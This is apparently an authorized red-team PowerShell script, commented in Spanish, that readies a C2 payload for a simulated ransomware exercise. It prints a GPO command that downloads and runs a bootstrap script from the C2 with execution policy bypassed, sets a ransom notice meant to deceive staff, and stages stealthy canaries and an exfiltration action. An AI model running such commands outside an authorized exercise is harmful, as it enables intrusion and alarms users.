#Requires -Version 5.1 <# .SYNOPSIS Arnes RT - Prepara el ejercicio en el C2 con UN SOLO comando. .DESCRIPTION Colapsa toda la preparacion del operador en una unica orden. Ajusta el payload que ya esta en el C2 (no lo despliega: para eso esta el paquete c2-deploy-*.zip): 1. Ajusta el alcance servido: activos autorizados, objetivo, ventana, armado y efectos visibles. 2. Copia el fondo de ataque al payload (si se le pasa uno) y valida que sea realmente JPEG/PNG/BMP por magic bytes. 3. Regenera manifest.json con los hashes nuevos. 4. Imprime el comando unico que desplegara la GPO en cada activo. Se puede ejecutar desde el propio C2 (la copia desplegada en rt\harness\bin) o desde el arnes completo. En ambos casos opera sobre el payload que hay en -OutDir. .EXAMPLE # Ensayo en seco: ver que cambiaria, sin tocar nada .\Prepare-Exercise.ps1 -OutDir C:\xampp\htdocs -Hosts DESKTOP-4UHA26H -Target Desktop -VisibleImpact -Arm ` -BaseUrl 'https:///rt' -WallpaperAttack C:\xampp\archivo-viejo\wallpaper.jpg .EXAMPLE # Preparar de verdad el impacto visible del Vector 2 .\Prepare-Exercise.ps1 -OutDir C:\xampp\htdocs -Hosts DESKTOP-4UHA26H -Target Desktop -VisibleImpact -Arm ` -BaseUrl 'https:///rt' -WallpaperAttack C:\xampp\archivo-viejo\wallpaper.jpg -Execute #> [CmdletBinding()] param( [Parameter(Mandatory)][string]$OutDir, [string]$SubPath = 'rt', [Parameter(Mandatory)][string[]]$Hosts, [ValidateSet('Desktop', 'Documents', 'Keep')][string]$Target = 'Keep', [switch]$VisibleImpact, [switch]$Arm, [Parameter(Mandatory)][string]$BaseUrl, [string]$WallpaperAttack, [string]$RansomNoteHtml, [string]$ReadmeText, [string]$Action = 'Vector2Sim', [switch]$Profile2026, [switch]$Vector1, [switch]$Execute ) $harness = Split-Path -Parent $PSScriptRoot if (Test-Path -LiteralPath (Join-Path $harness 'lib\Common.ps1')) { . (Join-Path $harness 'lib\Common.ps1') } # Asigna una propiedad exista o no. Los alcances antiguos no traen todas las opciones # (registry_path, note_name, readme_html...) y asignar a una que falta lanza excepcion. function Set-RTProp { param($Object, [string]$Name, $Value) if (@($Object.PSObject.Properties | ForEach-Object { $_.Name }) -contains $Name) { $Object.$Name = $Value } else { $Object | Add-Member -NotePropertyName $Name -NotePropertyValue $Value -Force } } $dest = Join-Path $OutDir $SubPath $scopeFile = Join-Path $dest 'scope.json' Write-Host '' Write-Host '=== Preparacion del ejercicio en el C2 ===' -ForegroundColor Cyan Write-Host "Docroot : $OutDir" Write-Host "Payload : $dest" Write-Host "Alcance : $scopeFile" Write-Host "Hosts : $($Hosts -join ', ')" Write-Host "Objetivo: $Target" Write-Host "Armado : $([bool]$Arm) Efectos visibles: $([bool]$VisibleImpact)" Write-Host "BaseUrl : $BaseUrl" Write-Host '' if (-not (Test-Path -LiteralPath $scopeFile)) { throw "No existe el alcance servido: $scopeFile. Publica antes el paquete (c2-deploy-*.zip)." } if (-not $Execute) { Write-Host 'MODO SIMULACION. Se haria lo siguiente:' -ForegroundColor Magenta Write-Host " 1. Alcance: authorized_hosts = $($Hosts -join ', ')" if ($Target -ne 'Keep') { Write-Host " allowed_paths = {$Target}" } Write-Host " window = ahora-1d .. ahora+7d dry_run = $(-not [bool]$Arm)" if ($VisibleImpact) { Write-Host ' options: set_wallpaper, write_readme, registry_marker, notify_count=2' } if ($WallpaperAttack) { Write-Host " 2. Copiar fondo de ataque: $WallpaperAttack" } Write-Host ' 3. Regenerar manifest.json' Write-Host ' 4. Imprimir el comando unico para el activo' Write-Host '' Write-Host 'Anade -Execute para aplicarlo.' -ForegroundColor Yellow return } # --- 1. Alcance ----------------------------------------------------------- $s = Get-Content -LiteralPath $scopeFile -Raw | ConvertFrom-Json $s.authorized_hosts = @($Hosts) if ($Target -eq 'Desktop') { $s.allowed_paths = @('{Desktop}') } if ($Target -eq 'Documents') { $s.allowed_paths = @('{Documents}') } $s.window.start_utc = (Get-Date).ToUniversalTime().AddDays(-1).ToString('yyyy-MM-ddTHH:mm:ssZ') $s.window.end_utc = (Get-Date).ToUniversalTime().AddDays(7).ToString('yyyy-MM-ddTHH:mm:ssZ') $s.dry_run = (-not [bool]$Arm) if ($VisibleImpact) { Set-RTProp $s.options 'set_wallpaper' $true Set-RTProp $s.options 'wallpaper_attack' 'assets\wallpaper_attack.jpg' # No pisar una ruta ya elegida (el perfil 2026 guarda el fondo en C:\ProgramData\RT26). if ([string]::IsNullOrWhiteSpace([string]$s.options.wallpaper_restore)) { Set-RTProp $s.options 'wallpaper_restore' 'C:\RT\wallpaper_restore.jpg' } Set-RTProp $s.options 'write_readme' $true Set-RTProp $s.options 'registry_marker' $true Set-RTProp $s.options 'notify_count' 2 Set-RTProp $s.options 'notify_interval_sec' 5 # Nota de rescate HTML (la del script original, con su cuenta atras). Se activa si # nos la dan ahora o si ya viaja en el payload (la trae el paquete c2-deploy-*.zip). $noteAsset = Join-Path $dest 'harness\assets\notarescate.html' $hasNote = ($RansomNoteHtml -and (Test-Path -LiteralPath $RansomNoteHtml)) -or (Test-Path -LiteralPath $noteAsset) $noteValue = $(if ($hasNote) { 'assets\notarescate.html' } else { '' }) Set-RTProp $s.options 'readme_html' $noteValue # Texto del README.txt del Escritorio. El de la plantilla decia "SIMULADO", que # invalida una prueba de concienciacion: por defecto se usa un aviso que no revela # el ejercicio y remite a la nota. La redaccion final la aprueba CCA. $aviso = "TUS ARCHIVOS HAN SIDO CIFRADOS.`n`nNo los modifiques ni intentes recuperarlos por tu cuenta: puedes danarlos de forma irreversible.`n`nLas instrucciones de recuperacion estan en la nota que se ha abierto en tu navegador." Set-RTProp $s.options 'readme_text' $(if ($ReadmeText) { $ReadmeText } else { $aviso }) } # --- Perfil 2026: rutas, extension y registro NUEVOS (distintos del ano pasado) ----- # Se aplica DESPUES del objetivo para que sus rutas manden sobre -Target. if ($Profile2026) { Set-RTProp $s 'sim_extension' '.rt26' Set-RTProp $s 'allowed_paths' @('{Desktop}', '{Documents}') Set-RTProp $s 'work_root' 'C:\ProgramData\RT26' Set-RTProp $s 'backup_root' 'C:\ProgramData\RT26\b' Set-RTProp $s 'manifest_root' 'C:\ProgramData\RT26\m' Set-RTProp $s 'log_root' 'C:\ProgramData\RT26\l' Set-RTProp $s 'stop_flag' 'C:\ProgramData\RT26\STOP' Set-RTProp $s.options 'registry_path' 'HKCU:\Software\RT26' Set-RTProp $s.options 'note_name' 'LEEME_RANSOM.txt' Set-RTProp $s.options 'wallpaper_restore' 'C:\ProgramData\RT26\wallpaper_restore.jpg' Write-Host '[1a] perfil 2026: .rt26 | C:\ProgramData\RT26 | HKCU:\Software\RT26 | LEEME_RANSOM.txt' -ForegroundColor Green } $s | ConvertTo-Json -Depth 10 | Set-Content -LiteralPath $scopeFile -Encoding UTF8 Write-Host "[1/4] alcance ajustado: hosts=$($s.authorized_hosts -join ',') objetivo=$($s.allowed_paths -join ',') dry_run=$($s.dry_run)" -ForegroundColor Green # El alcance del Vector 1 tambien comparte lista de activos, si existe. $v1 = Join-Path $dest 'scope.vector1.json' if (Test-Path -LiteralPath $v1) { $s1 = Get-Content -LiteralPath $v1 -Raw | ConvertFrom-Json $s1.authorized_hosts = @($Hosts) Set-RTProp $s1 'window' ([ordered]@{ start_utc = $s.window.start_utc; end_utc = $s.window.end_utc }) Set-RTProp $s1 'dry_run' (-not [bool]$Arm) if ($Vector1) { # SIGILO: nombres que no delatan nada y sin carpeta sospechosa. Si esto va a # estar plantado dias en equipos reales, un fichero que se llama CANARY o una Set-RTProp $s1.canary 'stealth' $true Set-RTProp $s1.canary 'archive_one' $false Set-RTProp $s1 'work_root' 'C:\ProgramData\RT26\v1' Set-RTProp $s1 'staging_root' 'C:\ProgramData\RT26\v1\canaries' Set-RTProp $s1 'manifest_root' 'C:\ProgramData\RT26\v1\manifests' Set-RTProp $s1 'log_root' 'C:\ProgramData\RT26\v1\logs' Set-RTProp $s1 'stop_flag' 'C:\ProgramData\RT26\STOP' Set-RTProp $s1 'plant_targets' @([ordered]@{ host = [string]$Hosts[0]; method = 'local'; path = '{Documents}' }) Write-Host ("[1c] Vector 1 listo: canarios en {{Documents}}, plantado local en {0}, dry_run={1}" -f $Hosts[0], (-not [bool]$Arm)) -ForegroundColor Green } $s1 | ConvertTo-Json -Depth 10 | Set-Content -LiteralPath $v1 -Encoding UTF8 Write-Host "[1b] scope.vector1.json: hosts actualizados" -ForegroundColor Green } # --- 2. Fondo de ataque y nota de rescate --------------------------------- if ($WallpaperAttack) { if (-not (Test-Path -LiteralPath $WallpaperAttack)) { throw "No existe el fondo indicado: $WallpaperAttack" } $fmt = if (Get-Command Get-RTImageFormat -ErrorAction SilentlyContinue) { Get-RTImageFormat -Path $WallpaperAttack } else { $b = [System.IO.File]::ReadAllBytes($WallpaperAttack)[0..3] if ($b[0] -eq 0xFF -and $b[1] -eq 0xD8) { 'JPEG' } elseif ($b[0] -eq 0x89 -and $b[1] -eq 0x50) { 'PNG' } elseif ($b[0] -eq 0x42 -and $b[1] -eq 0x4D) { 'BMP' } else { 'DESCONOCIDO' } } if ($fmt -notin @('JPEG', 'PNG', 'BMP')) { throw "El fondo no es aplicable por SystemParametersInfo (detectado: $fmt). Se requiere JPEG, PNG o BMP." } $assetDir = Join-Path $dest 'harness\assets' New-Item -ItemType Directory -Path $assetDir -Force | Out-Null Copy-Item -LiteralPath $WallpaperAttack -Destination (Join-Path $assetDir 'wallpaper_attack.jpg') -Force Write-Host "[2/4] fondo de ataque copiado al payload [$fmt]" -ForegroundColor Green } else { Write-Host '[2/4] sin fondo de ataque (no se indica -WallpaperAttack)' -ForegroundColor DarkGray } if ($RansomNoteHtml) { if (-not (Test-Path -LiteralPath $RansomNoteHtml)) { throw "No existe la nota HTML: $RansomNoteHtml" } $assetDir = Join-Path $dest 'harness\assets' New-Item -ItemType Directory -Path $assetDir -Force | Out-Null Copy-Item -LiteralPath $RansomNoteHtml -Destination (Join-Path $assetDir 'notarescate.html') -Force Write-Host ("[2b] nota de rescate copiada al payload: {0:N0} bytes" -f (Get-Item -LiteralPath (Join-Path $assetDir 'notarescate.html')).Length) -ForegroundColor Green } # --- 3. Manifiesto -------------------------------------------------------- # Rutas RELATIVAS con -Name: inmune a nombres 8.3 y a diferencias de forma en la ruta. $rels = @() $rels += @(Get-ChildItem -LiteralPath $dest -File -Filter 'scope*.json' -Name) foreach ($n in @(Get-ChildItem -LiteralPath (Join-Path $dest 'harness') -Recurse -File -Name)) { if ($n -like 'deploy\*') { continue } $rels += ('harness\' + $n) } $files = @() foreach ($rel in $rels) { $local = Join-Path $dest $rel $files += [ordered]@{ path = $rel.Replace('\', '/') size = (Get-Item -LiteralPath $local).Length sha256 = (Get-FileHash -LiteralPath $local -Algorithm SHA256).Hash } } [ordered]@{ exercise_id = [string]$s.exercise_id generated_utc = (Get-Date).ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ') base_url = $BaseUrl files = $files } | ConvertTo-Json -Depth 6 | Set-Content -LiteralPath (Join-Path $dest 'manifest.json') -Encoding UTF8 $bad = 0 foreach ($f in $files) { $p = Join-Path $dest ($f.path -replace '/', '\') if ((Get-FileHash -LiteralPath $p -Algorithm SHA256).Hash -ne $f.sha256) { $bad++ } } Write-Host "[3/4] manifest.json regenerado: $($files.Count) ficheros, $bad problemas" -ForegroundColor Green # --- 4. Comando para el activo ------------------------------------------- Write-Host '' # Que accion se imprime: si no se indico -Action a mano, se deduce de lo que se preparo. # Sin esto, preparar el Vector 1 imprimia el comando del Vector 2 y confundia al operador. $accionMostrar = [string]$Action if (-not $PSBoundParameters.ContainsKey('Action')) { if ($Vector1) { $accionMostrar = 'Vector1Ciclo' } else { $accionMostrar = 'Vector2Sim' } } Write-Host '[4/4] Comando unico para el activo (esto es lo que lleva la GPO):' -ForegroundColor Cyan Write-Host '' Write-Host ('$base = ''{0}''' -f $BaseUrl.TrimEnd('/')) -ForegroundColor Yellow Write-Host ('$h = @{ ''ngrok-skip-browser-warning'' = ''true'' }') -ForegroundColor Yellow Write-Host ('iwr "$base/bootstrap.ps1" -Headers $h -OutFile "$env:ProgramData\rt-bootstrap.ps1" -UseBasicParsing') -ForegroundColor Yellow Write-Host ('powershell.exe -NoProfile -ExecutionPolicy Bypass -File "$env:ProgramData\rt-bootstrap.ps1" -BaseUrl $base -Action {0} -Execute' -f $accionMostrar) -ForegroundColor Yellow Write-Host '' Write-Host 'Y en rt-bootstrap.cmd (la GPO):' -ForegroundColor DarkGray Write-Host (' set C2BASE={0}' -f $BaseUrl.TrimEnd('/')) -ForegroundColor DarkGray Write-Host (' set ACTION={0}' -f $accionMostrar) -ForegroundColor DarkGray Write-Host ' set EXECUTE=1' -ForegroundColor DarkGray Write-Host '' if ($Vector1) { Write-Host 'Siembra sola, ejercicio real : mismo comando con -Action Vector1Plantar' -ForegroundColor Cyan Write-Host 'Exfiltracion, dias despues : -Action ExfilHttpsBurst' -ForegroundColor Cyan Write-Host 'Retirada de los canarios : -Action Retire' -ForegroundColor Cyan } else { Write-Host 'Para revertir: mismo comando con -Action Vector2Revert' -ForegroundColor Cyan } # -------------------------------------------------------------------------- # Alineacion de tokens. El paquete ROTA el token en cada construccion, asi que si se # mezclan ficheros de paquetes distintos el receptor rechaza TODOS los envios con 403 y # el ejercicio parece "no funcionar" sin decir por que. # # Direccion del arreglo: se alinea config.php AL ALCANCE, nunca al reves. El alcance esta # cubierto por el manifiesto (su sha256 va dentro), asi que tocarlo invalidaria el # payload; config.php no esta en el manifiesto. Con -Execute se corrige solo; sin -Execute # solo se avisa, que es la doble llave de siempre. # -------------------------------------------------------------------------- $cfgPhp = Join-Path $OutDir 'config.php' if (Test-Path -LiteralPath $cfgPhp) { $mTok = [regex]::Match((Get-Content -LiteralPath $cfgPhp -Raw), "'token'\s*=>\s*'([^']*)'") if ($mTok.Success) { $tokCfg = $mTok.Groups[1].Value $tokScopes = @() if ($s.c2.token) { $tokScopes += [string]$s.c2.token } if ($s1 -and $s1.c2.token) { $tokScopes += [string]$s1.c2.token } $tokScopes = @($tokScopes | Select-Object -Unique) if ($tokScopes.Count -gt 1) { Write-Host '[AVISO] Los dos alcances llevan tokens DISTINTOS entre si: revisa el paquete.' -ForegroundColor Yellow } elseif (($tokScopes.Count -eq 1) -and ($tokScopes[0] -ne $tokCfg)) { $a = if ($tokCfg.Length -ge 8) { $tokCfg.Substring(0, 8) } else { $tokCfg } $b = if ($tokScopes[0].Length -ge 8) { $tokScopes[0].Substring(0, 8) } else { $tokScopes[0] } if ($Execute) { $txt = [regex]::Replace((Get-Content -LiteralPath $cfgPhp -Raw), "('token'\s*=>\s*')[^']*(')", ('${1}' + $tokScopes[0] + '${2}')) [System.IO.File]::WriteAllText($cfgPhp, $txt, (New-Object System.Text.UTF8Encoding($false))) Write-Host "[1d] TOKEN ALINEADO en config.php: $a... -> $b... (el del alcance, que es el que cubre el manifiesto)" -ForegroundColor Green } else { Write-Host '' Write-Host '[AVISO] Alineacion de tokens: el alcance y config.php NO coinciden.' -ForegroundColor Yellow Write-Host " config.php -> $a... alcance -> $b..." -ForegroundColor Yellow Write-Host ' El receptor rechazara TODOS los envios con 403. Anade -Execute para alinearlo.' -ForegroundColor Yellow } } } }